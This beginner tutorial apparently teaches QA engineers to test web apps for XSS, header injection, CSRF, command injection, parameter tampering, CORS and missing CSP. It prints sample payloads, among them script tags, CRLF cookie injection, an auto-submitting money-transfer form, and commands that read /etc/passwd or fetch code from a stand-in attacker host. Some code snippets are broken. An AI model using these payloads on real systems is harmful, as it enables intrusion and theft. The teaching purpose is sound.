Cybersecurity Essentials: Practical Web App Security Testing Tips for QA Engineers

This article explores fundamental vulnerabilities and testing techniques, providing practical insights to enhance your web app pentesting skills. The article combines a series of my posts dedicated to QA engineers and analysts, providing a practical exploration of fundamental cybersecurity vulnerabilities. The purpose is to empower QA Engineers/Testers/Analysts with knowledge that bridges the gap between software QA and cybersecurity, fostering a unified approach to ensure the integrity and security of web applications.

This is not an ultimate guide, but I would like to share my experience as a QA engineer who is interested in the cybersecurity field; it’ll be quite superficial info with some useful links if you’re interested in learning some aspects deeper.

1. XSS (Cross-Site Scripting)

One of the critical and most common vulnerabilities is XSS - https://owasp.org/www-community/attacks/xss/

I'll share a simple approach and tips on how to test for XSS without having extensive knowledge in the field and frontend dev technologies.

• Enter a script tag, followed by some JS code, into the input fields of your app, for example.

<script>alert('XSS');</script>
(%0ejavascript:alert(/XSS/))

• Submit the input and see if the script executes.

• If it does, then the application is vulnerable to XSS attacks.

• If the script doesn't execute, try modifying the input by adding other HTML tags, such as <img> or <iframe>, and see if they are reflected on the page, e.g. (this example almost always works for me)

  <b>t</b>#`"/*—est 
  

• You can add a script to query params of your web app URL or a user name, uploaded file names (https://github.com/cure53/H5SC), or any text that will be displayed on the app page that you can change.

• Be aware of front-end validations of inputs. Always try to submit the value using a direct request (using Postman, Burp, or any similar tools).

• Use fuzzing and a list of payloads - automate this approach when possible or use special tools for it.

Speaking about tools, there are plenty of them for discovering XSS, trying different ones, comparing results several times with different apps, and choosing the one you like the most: https://linuxhint.com/free_xss_tools/ (I have used a lot OWASP ZAP and BurpSuite).

Personally, I like using payloads and info from here - https://github.com/s0md3v/AwesomeXSS - a very useful resource, in my opinion.

For more details about XSS and payloads, you can find the following resources:

• https://owasp.org/www-community/attacks/xss/
• https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
• https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45

2. Header Injections

This vulnerability occurs when an attacker can inject malicious code into the header of a website, allowing them to execute unauthorized actions or access sensitive information.

To test for Header injections, you can follow a few steps:

• Use tools like Postman, Burp, or any similar tools to manipulate HTTP headers and see if you can add any unauthorized headers or modify existing ones.
• Check if the server is sending sensitive information in the response headers.
• Try to manipulate cookies by adding malicious content or modifying their values. One example of a payload to test for Header injections is to include a newline character in the header field, followed by additional headers.

(%0d%0a OR \r\n) 

For example, the following payload could be used to inject a Set-Cookie header:

User-Agent: Mozilla/5.0\r\nSet-Cookie: sessionid=111111
https:// yoursite. com?cookie=123%0D%0ASet-Cookie%3A%20TESTCOOKIE=hacked

Another example is the Host header injection, where an attacker can manipulate the Host header to access another website or subdomain on the same server. For example:

Host: yoursite.com\r\n\r\nGET /admin HTTP/1.1\r\nHost: admin.yoursite.com

To learn more about Header injections, you can refer to the following resources:

• https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection
• https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
• https://www.acunetix.com/blog/web-security-zone/http-header-injection/
• https://portswigger.net/web-security/host-header/exploiting

3. CSRF (Cross-Site Request Forgery)

CSRF occurs when a malicious website tricks a user into acting on a different website that the user is currently logged in to. This type of attack can result in unauthorized actions (any POST request) being performed on the user's behalf.

To test for CSRF vulnerabilities, in a nutshell, you can do the following:

• Find any forms or actions on the website that perform sensitive actions, it might be changing passwords or making transactions (or any other post requests which might be harmful to users if they are performed on the user's behalf without their knowledge).
• Craft an HTML page or code snippet that contains a hidden form that performs the same action, for example:

<html>
<body onload="document.forms[0].submit()">
<form action="https:// yoursite .com /money_transfer" method="POST"> <input type="hidden" name="toAccount" value="attackerAccount"> <input type="hidden" name="amount" value="1000">
</form>
</body>
</html>

• Save this code as an HTML file and open it in the same browser where you have logged in on the site you test.
• Check if the action was performed without the user's knowledge or permission. In the example from 2, the user is tricked into visiting a website that automatically submits a hidden form to transfer 1000 to the attacker's account on the target website.

To prevent CSRF attacks, use anti-CSRF tokens or same-site cookies to validate the origin of the request. These tokens are unique values that are generated by the server and included in the form or URL parameters. When the form is submitted, the server checks if the token matches the expected value and rejects the request if they don't match. Here's an example in Python:

import requests

# Get the CSRF token from the cookie
def get_csrf_token(): cookie = requests.utils.dict_from_cookiejar(requests.cookies)
return cookie.get('csrfToken')

# Send an HTTP request with the CSRF token in the headers
def send_http_request(url, data): 
csrf_token = get_csrf_token() 
headers = { 'Content-Type': 'application/json', 'X-CSRF-TOKEN': csrf_token } 
response = requests.post(url, headers=headers, data=data) 
return response

Useful resources:

• https://owasp.org/www-community/attacks/csrf
• https://portswigger.net/web-security/csrf
• https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html

4. RCE (Remote Code Execution) and Command Injection

RCE and Command Injection vulnerabilities occur when attackers can execute arbitrary code or OS commands on a target system. These types of attacks can result in the complete compromise of the system and unauthorized access to sensitive data.

To test for RCE and Command Injection vulnerabilities, in a nutshell, you can do the following:

• Identify input fields or parameters that can be manipulated. These input fields or parameters can be found in a wide range of places, such as forms, URL parameters, cookies, HTTP headers, etc. To identify such params, you can use a tool such as Burp Suite, which allows you to intercept and modify HTTP requests and responses (in a free version). Burp will capture and display all of the requests and responses, including the input fields and parameters. Once you have your params, you need to check if they can be used to execute inserted code or OS commands.
• Inject malicious payloads into those fields or parameters, here are some possible and simple examples:

; ls -la - list the contents of a directory 

cat /etc/passwd - show the password file

wget https://myhackersite.evil/payload - download files with malicious code from a remote server

ping -c 1 https://www.linkedin.com/redir/general-malware-page?url=myhackersite%2eevil%2ecom - ping the attacker's website 3 

• Check the behavior of the application to see if the payload was executed successfully and if any sensitive information was sent to you. For example, if you used ls -la and the application displayed a list of files and directories on the server, this indicates that the payload was executed successfully and that the application is vulnerable to command injection.

Not all payloads will result in some visible output. In such cases, you may need to use other methods, such as monitoring network traffic or reviewing log files.

To prevent RCE and Command Injection attacks, user input has to be validated, and malicious characters or commands have to be removed or sanitized.

Here are some useful resources for further learning:

• https://owasp.org/www-community/attacks/Command_Injection
• https://owasp.org/www-community/attacks/Code_Injection
• https://portswigger.net/web-security

5. Web Parameter Tampering

This type of attack occurs when you manipulate the params sent from the client side to the server side, leading, for example, to unauthorized access or privilege escalation.

To test for this type of vulnerability, you can do the following:

• Identify input fields or params that can be manipulated. Similar to other vulnerabilities, you can use a tool like Burp Suite to intercept and modify HTTP requests and responses.

• Modify the params. For example, if a parameter controls the price of a product, you can modify it to purchase items for a lower price:

  - change the price of a product from 10 to 1.

  - bypass authentication by manipulating the user ID parameter.

  - change the quantity of a product to a negative number to get a refund or to a higher number to get more items for the price of 1 item.

• Check the behavior of the application to see if the tampering was successful. For example, if you successfully change the price, the application should reflect that change when you check the cart or receipt.

• And of course, report your findings to the devs so they can fix the issue before it becomes a security risk.

To prevent Web Parameter Tampering attacks, input validation and sanitization are crucial. Ensure that all input data is validated on the server side and that the application rejects any malicious inputs. I would say that these types of vulnerabilities are the best ones to be identified by a QA team because QAs know the application/product and its logic and params better than infosec engineers who usually are not involved in the dev process.

Here are some additional resources to help you learn more about Web Parameter Tampering:

• https://owasp.org/www-community/attacks/Web_Parameter_Tampering
• https://www.geeksforgeeks.org/web-parameter-tampering-attack-on-web-servers/
• https://www.imperva.com/learn/application-security/parameter-tampering/

6. Cross-Origin Resource Sharing (CORS)

This is a security mechanism that restricts web pages from making requests to a different domain than the one that served the web page.

You can test by doing the following:

• Open in the browser any domain (eg, google. com) from which it should be forbidden to access your host.
• In the browser console use this command:

fetch('https://beapimysite.com')
.then(response=>response.json())
.then(data=>{ console.log(data); })

• If everything is configured properly, you should get the following:

access to fetch at 'https://beapimysite.com' from origin 'https://www. google.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. 

Do these simple steps:

1. Find the origin and destination domains involved in the request. The origin domain is the domain of the web page making the request, and the destination domain is the domain the request is being sent to.
2. Using a tool like Postman, send a request from the origin domain to the destination domain. Make sure to include the appropriate headers to indicate that the request is a cross-origin request.
3. The server should include the Access-Control-Allow-Origin header in the response to indicate that the request is allowed from the origin domain. If this header is missing or set to a different value, it may indicate a vulnerability in the application.
4. If the Access-Control-Allow-Origin header is missing or set to a value, try to bypass the restrictions by modifying the request. For example, you can try changing the Origin header to match the destination domain or using a different HTTP method. Here are some example requests to test:

Request from https://mysite.com to https://beapimysite.com:

GET /api/data HTTP/1.1
Host: beapimysite.com
Origin: https ://mysite.com
Access-Control-Request-Method: GET
Access-Control-Request-Headers: X-Requested-With

Response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, OPTIONS
Access-Control-Allow-Headers: X-Requested-With

For more information on CORS, here are some helpful resources:

• https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
• https://portswigger.net/web-security/cors

7. Content Security Policy (CSP) header not set

CSP is a mechanism that helps prevent XSS attacks by allowing to specify which sources of content are allowed to be loaded on the web pages. Without a CSP header set, it’s potentially possible to inject malicious scripts into the page and steal sensitive user data or perform other actions.

You can do the following to check the CSP header:

• Open the web page you want to test in a browser.
• Open the dev tools in your browser and go to the Console.
• Enter the following code:

document.cookie=TESTCOOKIE=XSS;

• If it runs successfully - no error messages. This indicates that the page is potentially vulnerable to XSS because it allows cookies to be set from an external source.

Try to inject a script into the page and see if it executes. For example, insert the following code to the browser console:

var script = document.create;
Element('script');script.src = 'http://dangeroussite.com/dolphin.js';
document.head.appendChild(script);

Look for the Content-Security-Policy header in the response headers. If this header is missing, it means that the web page has no CSP header set.

The CSP header is an important thing in web app security.

For more information on CSP:

• https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html
• https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP

The symbiotic relationship between cybersecurity and software QA is important in terms of the security of software apps. Through the integration of threat modeling methodologies and automated fuzz testing techniques, QA engineers contribute significantly to the early detection and mitigation of security vulnerabilities. The collaboration between cybersecurity and QA teams forms an integral part of a unified approach to software development, with QA's role extending beyond functional and usability testing to encompass proactive identification and rectification of potential security flaws. Recognizing QA as a strategic asset in cybersecurity efforts is important, as it not only enhances data protection but also safeguards a company's reputation, customer trust, and overall financial stability. The technical skills of QA professionals, coupled with their rigorous testing practices, establish a robust defense against cyber threats.

A crucial reminder:

Always conduct penetration testing with explicit permission and within a controlled environment. This ethical approach ensures that security assessments align with responsible testing protocols, preventing inadvertent compromises to systems and upholding the integrity of both the testing process and overarching cybersecurity strategy.

This article shares practical tips for QA engineers to improve web app security testing, connecting software QA and cybersecurity. It's a beginner-friendly guide with insights and useful links for those looking to learn more.

Also published here.